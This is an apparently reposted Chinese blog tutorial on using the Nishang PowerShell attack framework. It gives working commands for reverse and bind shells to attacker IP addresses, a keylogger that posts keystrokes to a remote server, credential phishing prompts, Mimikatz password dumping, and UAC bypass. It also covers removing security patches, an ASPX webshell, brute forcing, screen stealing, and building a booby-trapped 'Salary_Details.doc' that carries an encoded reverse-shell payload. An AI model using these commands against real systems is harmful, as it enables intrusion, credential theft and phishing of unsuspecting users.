PowerShell攻防進階篇:nishang工具用法詳解


PowerShell攻防進階篇:nishang工具用法詳解

導語:nishang,PowerShell下並肩Empire,Powersploit的神器。

開始之前,先放出個下載地址!

下載地址:https://github.com/samratashok/nishang

1.簡介

Nishang是一款針對PowerShell的滲透工具。說到滲透工具,那自然便是老外開發的東西。國人開發的東西,也不是不行,只不過不被認可罷了。不管是誰開發的,既然跟滲透有關系,那自然是對我們有幫助的,學習就好。來源什么的都不重要。總之,nishang也是一款不可多得的好工具。非常的好用。

2.簡單的安裝與問題處理  

先到github上去下載nishang,可以使用git命令直接下載,如果沒有裝的話下載zip文件,解壓之后就可以開始我們的學習之旅了。

導入之前加一句,nishang的使用是要在PowerShell 3.0以上的環境中才可以正常使用。也就是說win7下是有點小問題的。因為win7下自帶的環境是PowerShell 2.0

PowerShell攻防進階篇:nishang工具用法詳解

如果大家不知道自己的PowerShell環境是多少的版本。可以使用Get-Host命令來查看當前的版本。建議使用windows 10測試

既然是PowerShell框架,那自然是要導入的,然而,導入的時候還是會碰到一些比較麻煩的問題。對PowerShell比較熟悉的,看一眼就知道是什么問題,但是不知道的就一臉蒙,百度都不知道怎么百度。比如說:

我們在導入的時候經常會碰到的問題,(不只是nishang)

PowerShell攻防進階篇:nishang工具用法詳解

出現了報錯,我一直都不知道怎么辦的,沒辦法,只能用過遠程文件下載來進行本地權限繞過。

解決方法:

PowerShell默認的執行策略是Restricted,但是Restricted是不允許運行任何腳本的。你在PowerShell執行Get-ExecutionPolicy命令來查看默認的策略組。我們需要修改策略組,在PowerShell下執行Set-ExecutionPolicy remotesigned。再次導入,就導入成功了。(警告不需要理會)

PowerShell攻防進階篇:nishang工具用法詳解

因為警告不相信導入成功的,可以繼續執行命令來進一步驗證。

PowerShell攻防進階篇:nishang工具用法詳解

nishang的命令都被列出來了。執行一道命令行Get-Information。可以列出本機的信息

PowerShell攻防進階篇:nishang工具用法詳解

PowerShell攻防進階篇:nishang工具用法詳解

3.目錄結構

PowerShell攻防進階篇:nishang工具用法詳解

有經驗的童鞋看一眼就知道這個目錄是怎么玩的了,雖然英文水平不怎么滴,但是晚了這么久看到這些目錄還是有一些熟悉感的

PowerShell攻防進階篇:nishang工具用法詳解

跟大家說個事情,150分的英語卷子,我得了27分。上面這些是我用google翻譯加蒙的。這都不重要。繼續往后看吧。主要是他后續的功能以及命令的使用。當導入nishang.psm1的時候,所有的模塊都直接可以被PowerShell讀到。當然,在滲透過程中,肯定不能直接把nishang的整個目錄賦值到人家的服務器上。遠程下載的時候,了解目錄結構對我們尋找文件位置是很有幫助的~~

4.操作方法

忍不住的小伙子們,來來來,拿起紙和筆,記筆記,這是重點。

4.1信息搜集

看上面的目錄結構圖,就知道哪里去找要用的東西了。挑一些好用的模塊來說

4.1.1 Check-VM    

看名字就知道是干嘛的了,檢測該主機是不是虛擬機

PowerShell攻防進階篇:nishang工具用法詳解

程序給了答復,說本機器就是一個虛擬機。

4.1.2  Invoke-CredentialsPhish

這個腳本怎么說,說是欺騙用戶,讓用戶輸入密碼,但是我覺得吧,這就是個十足的流氓。

PowerShell攻防進階篇:nishang工具用法詳解

為啥說是流氓了?不給正確密碼就不給關,你說流氓不,反正關不掉,只能強制干掉進程。當然,如果成功了,還是很好用的

PowerShell攻防進階篇:nishang工具用法詳解

這樣還是可以的,哈~

4.1.3 Copy-VSS

Copy-VSS [文件地址]    –默認是在當前文件夾下面

Copy-VSS [文件地址] -DestinationDir C:temp  –保存文件到指定文件下

4.1.4 FireBuster FireListener

內網掃描,很洋氣的掃描器,本地開了監聽,然后遠程傳送數據

FireListener -PortRange 130-150
FireBuster 192.168.12.107 130-150 -Verbose

PowerShell攻防進階篇:nishang工具用法詳解

4.1.5 Get-WLAN-Keys

由於本機器是台式電腦,並沒有無線網卡,所以不做演示。

4.1.6 Keylogger鍵盤記錄

講真,從來沒有見過這么牛的鍵盤記錄模塊,這個模塊有必要看一下HELP深究一下,真的牛。

Get-Help .Keylogger.ps1 -full

PowerShell攻防進階篇:nishang工具用法詳解

一條一條說:

1:直接執行,他會顯示

PowerShell攻防進階篇:nishang工具用法詳解

之后,默認在Temp目錄下生成一個key.log文件

2:就是一句話命令行

-CheckURL去檢查設置的URL頁面中有沒有 -MagicString后的字符串,有的話停止,沒有的話繼續。。

3 : 將記錄的信息以POST形式發送到WEB服務器上。

4:電腦重啟之后,繼續監聽。。

當監聽完成后,需要用Utility目錄下的Parse_Keys來解析key文件

Parse_Keys "C:UsersxxxAppDataLocalTempkey.log" "c:test.txt"

PowerShell攻防進階篇:nishang工具用法詳解

總之-MagicString這后面就是密碼

-CheckURL 也一定要寫自己的,要不停不下來了

沒有設置persist的童鞋,關掉當前PowerShell,即刻停止

4.1.7 抓取用戶的明文密碼

Invoke-Mimikatz 不需要解釋的神器

PowerShell攻防進階篇:nishang工具用法詳解

4.1.8 HASH獲取

Get-PassHashes

PowerShell攻防進階篇:nishang工具用法詳解

4.1.9 獲取用戶的密碼提示信息

Get-PassHints

PowerShell攻防進階篇:nishang工具用法詳解

感覺沒什么用,但是別小看這個功能,有的時候可以根據提示信息來生成密碼文件,大大提高爆破的成功率。還有的人會將明文密碼記錄在這個提示信息中。我曾經就是。。

4.2.0各式各樣的反彈

既然說是神器,那自然有牛的一面,各式各樣的shell,任由你反彈,跟msf一樣。

###TCP的shell

既然TCP,那就有正反向鏈接,先來反向鏈接(需要NC)

反向鏈接:

NC下執行 : nc -lvp 3333

在PowerShell下執行:Invoke-PowerShellTcp -Reverse -IPAddress 192.168.12.110 -Port 3333

PowerShell攻防進階篇:nishang工具用法詳解

正向鏈接:

PowerShell下執行:Invoke-PowerShellTcp -Bind -Port 3333

NC下執行:nc -nv 192.168.12.103 3333

PowerShell攻防進階篇:nishang工具用法詳解

###UDP 的Shell

只是單純的將Invoke-PowerShellTcp改為Invoke-PowerShellUdp,其他命令。之后就是nc的命令改變了

正向連接:nc -nvu 192.168.12.103 3333

反向連接:nc -lup 3333

一波題外話,看不懂nc命令的童鞋:https://www.explainshell.com

可以到這里,命令可以解析,什么都可以,不止是nc,linux命令都行

PowerShell攻防進階篇:nishang工具用法詳解

就是都是英文,不過比較簡單了

###HTTP/HTTPS的shell

HTTP:Invoke-PoshRatHttp -IPAddress 192.168.12.103 -Port 3333
HTTPS:Invoke-PoshRatHttps -IPAddress 192.168.12.103 -Port 3333

執行完之后會生成一道命令,HTTP和HTTPS一樣,這里我只演示是HTTP

PowerShell攻防進階篇:nishang工具用法詳解

將這道命令拖入cmd中執行,之后命令行消失,在本機Powershell下返回了一個會話

PowerShell攻防進階篇:nishang工具用法詳解

4.3 webshell

存放於nishangAntak-WebShell目錄下,就是一個ASPX的大馬,但是命令行是PowerShell,比單純的cmd強大很多。功能齊全,日aspx的站必備的東西

PowerShell攻防進階篇:nishang工具用法詳解

同樣需要賬號密碼,上傳下載,無所不能。

4.4 提權

滲透過程中,這里應該是使用最多的地方了。

4.4.1 嘗試本地權限提升

Enable-DuplicateToken

這個腳本在我們具有一定權限的時候,可以幫助幫助我們獲得系統權限。

4.4.2 Bypass UAC

Invoke-PsUACme 看名字就知道是干嘛的了。繞過UAC嗎~,Nishang中給出的方法太全面了,GET-HELP來看看幫助信息

PowerShell攻防進階篇:nishang工具用法詳解

實例一: 使用Sysprep方法和默認的Payload執行

實例二: 使用oobe方法跟默認的payload執行

實例三: 使用oobe方法跟自制payload執行

這個模塊用的是UACME項目的DLL來Bypass UAC。所以,方法對照表

PowerShell攻防進階篇:nishang工具用法詳解

這只是官方給的例子,回過頭來看一眼上面的參數信息。

PowerShell攻防進階篇:nishang工具用法詳解

-Payloadpath指定一個payload路徑

-CustomDll64

指定一個dll文件,后兩位代表系統位數

-CustomDll32

嘗試本地Bypass UAC:

PowerShell攻防進階篇:nishang工具用法詳解

4.4.3 刪除補丁

刪除補丁,這是我見過最`厲害`的腳本,沒有之一。如此騷氣!

Remove-Update

PowerShell攻防進階篇:nishang工具用法詳解

實例一: 刪除全部補丁

實例二: 刪除全部的安全補丁

實例三: 刪除指定的補丁

這是刪除之前的補丁情況

PowerShell攻防進階篇:nishang工具用法詳解

 

嘗試刪除第一個補丁

PowerShell攻防進階篇:nishang工具用法詳解

成功刪除了第一個補丁。

4.5端口掃描,爆破

4.5.1: 端口掃描

來詳細說明下個個參數

可以使用 Get-Help Invoke-PortScan -full 查看幫助信息

PowerShell攻防進階篇:nishang工具用法詳解

-StartAddress 開始的IP地址

-EndAddress 結束的IP地址

-ResolveHost 是否解析主機名

-ScanPort要不要進行端口掃描

-Port 要掃描的端口(默認很多,看上圖)

-TimeOut 超時時間

對我本地局域網進行掃描:

Invoke-PortScan -StartAddress 192.168.250.1 -EndAddress 192.168.250.255 -ResolveHost

掃描中:

PowerShell攻防進階篇:nishang工具用法詳解

掃描結束:

PowerShell攻防進階篇:nishang工具用法詳解

4.5.2 弱口令爆破

Invoke-BruteForce

之前先說命令參數

-ComputerName 對應服務的計算機名

-UserList 用戶名字典

-PasswordList 密碼字典

-Service 服務(默認為:SQL)

-StopOnSuccess 匹配一個后停止

-Delay 延遲時間

PowerShell攻防進階篇:nishang工具用法詳解

有了上面的說明,這里看到應該很清楚了。不在做過多的解釋。

4.6 嗅探

內網嗅探,動靜太大了,但是,實在沒辦法的時候,不得不說,這是一個辦法。

在靶機上執行:Invoke-Interceptor -ProxyServer 192.168.250.172 -ProxyPort 9999

監聽機器上執行:netcat -lvvp 9999

PowerShell攻防進階篇:nishang工具用法詳解

PowerShell攻防進階篇:nishang工具用法詳解

 4.7 屏幕竊取

Show-TargetScreen

屏幕竊取,一樣正反向通吃

-IPAddress  后面加IP地址(反向鏈接需要)

-Port 加端口

-Bind 正向連接

反向鏈接竊取屏幕

靶機:Show-TargetScreen -Reverse -IPAddress 192.168.250.172 -Port 3333

攻擊機:netcat -nlvp 3333 | netcat -nlvp 9999

之后訪問攻擊機器的9999端口,就可以竊取到屏幕了

PowerShell攻防進階篇:nishang工具用法詳解

正向連接竊取屏幕

靶機執行:Show-TargetScreen -Bind -Port 3333

攻擊機執行:netcat -nv 192.168.250.37 3333 | netcat -lnvp 9999

之后同樣,訪問本機的9999端口,就能正常訪問了。

4.8 Client

Nishang可以生成各式各樣的客戶端。類型大概有

PowerShell攻防進階篇:nishang工具用法詳解

這么多類型全都可以生成。選擇一種來說,其他的方法都是類似的。

打開nishangShellsInvoke-PowerShellTcpOneLine.ps1這個文件,復制第三行的內容。可以看到中間有一個TCPClient的參數,這里就是遠程連接的地址了

PowerShell攻防進階篇:nishang工具用法詳解

更改這個地址和端口即可,之后進入命令行執行

Invoke-Encode -DataToEncode '你的代碼' -IsString -PostScript

PowerShell攻防進階篇:nishang工具用法詳解

執行完成之后會在當前目錄下生成兩個文件。一個是encoded.txt 另一個是encodedcommand.txt。之后執行

 Out-Word -PayloadScript .encodedcommand.txt

就可以在我們當前文件夾下生成一個名為Salary_Details.doc的doc文件。之后使用nc監聽就好

說完了操作,回過頭來看看命令行參數

 -Payload  后面直接加payload,但是注意引號的閉合

 -PayloadURL  傳入遠程的payload進行生成

-PayloadScript  指定本地的腳本進行生成

-Arguments  之后加要執行的函數。(payload之中有的函數)

-OutputFile   輸出的文件名

-WordFileDir  輸出的目錄地址

-Recurse   在WordFileDir中遞歸尋找Word文件

-RemoveDocx 創建完成后刪除掉原始的文件

5.總結

看完之后肯定一臉懵逼,這都是啥。這么復雜的語法,沒辦法,針對PowerShell的工具語法相對而言都比較復雜。而且,並沒有講解nishang的后門模塊,個人覺得不是那么好用。還有一些反彈技巧並沒有詳細介紹,比如說什么DNS反彈,ICMP反彈,WMI反彈。

有興趣的朋友可以自行研究,每一款工具針對不同的環境都能給我們帶來意想不到的效果。不用歸不用,但是到萬不得已用的時候,才是最惡心的,藝多不壓身嘛~

在研究過程中又碰到問題的,點我頭像給我留言,我看到的話會盡量幫忙的~


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM